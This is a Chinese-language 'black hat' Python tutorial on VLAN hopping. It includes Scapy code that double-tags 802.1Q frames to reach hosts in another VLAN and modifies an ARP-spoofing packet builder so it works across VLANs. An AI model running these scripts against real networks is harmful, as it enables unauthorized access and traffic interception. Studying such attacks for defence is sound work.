专栏首页玄魂工作室Python黑帽编程 3.4 跨域VLAN

Python黑帽编程 3.4 跨域VLAN

Python黑帽编程 3.4 跨域VLAN

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN HOPPING

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python

from scapy.all import *

packet = Ether(dst="c0:d3:de:ad:be:ef") / \

Dot1Q(vlan=1) / \

Dot1Q(vlan=2) / \

IP(dst="192.168.13.3") / \

ICMP()

sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():

if options.target is None:

pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])

elif options.target:

target_mac = getmacbyip(options.target)

if target_mac is None:

print "[-] Error: Could not resolve targets MAC address"

sys.exit(1)

pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan)/ ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

下一节,我们进入第四章《网络层攻击》。

本文分享自微信公众号 - 玄魂工作室(xuanhun521),作者:玄魂工作室

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2016-09-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • CTF实战33 综合实战和讲解三(讲解部分)

    该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关

    用户1631416
  • Kali Linux Web渗透测试手册(第二版) - 8.0+8.1+8.2 - 介绍+用Nikto进行扫描+自动扫描注意事项

    thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt

    用户1631416
  • [翻译]整合鼠标、触摸 和触控笔事件的

    Html5 Pointer Event Api 原文链接 https://mobiforge.com/design-development/html5-poin...

    用户1631416
  • VLAN是什么?划分VLAN的作用及方法

    有朋友提到了如何划分vlan,其实划分vlan是网络技术应用中必不可少,很多的网络都需要进行vlan的划分,今天就一起了解下这方面的内容。

    瑞新
  • 网络工程师从入门到精通-通俗易懂系列 | VLAN这些知识点都涉及到了,了解一下吧!

    动态VLAN,依靠VMPS服务器,动态下发,太麻烦,需要登记全网设备MAC地址到服务器

    网络技术联盟站
  • bootstrap快速入门笔记(六)-代码

    一,内联代码<code>:For example, <code>&lt;section&gt;</code> should be wrapped as inli...

    用户3055976
  • 「镁客·请讲」华捷艾米:体感技术最早将于明年年底爆发

    镁客网
  • (收藏必看)HCIE | 彻底搞懂LAN技术-CSS、Eth-trunk、MSTP、vlan

    高可靠性:集群系统两台成员交换机之间冗余备份,同时利用链路聚合功能实现跨设备的链路冗余备份。

    网络技术联盟站
  • 检测是否含有挖矿脚本的WiFi热点

    前几日看到一则新闻,一家星巴克店内无线网络被发现植入了恶意代码,劫持网络流量利用用户设备挖掘门罗币(XMR)。 ? 与加密货币相关的安全事件总是引人注目...

    奶糖味的代言
  • Android项目开发填坑记-Fragment的onBackPressed

    版权声明:本文为[他叫自己Mr.张]的原创文章,转载请...

    他叫自己MR.张

扫码关注云+社区

领取腾讯云代金券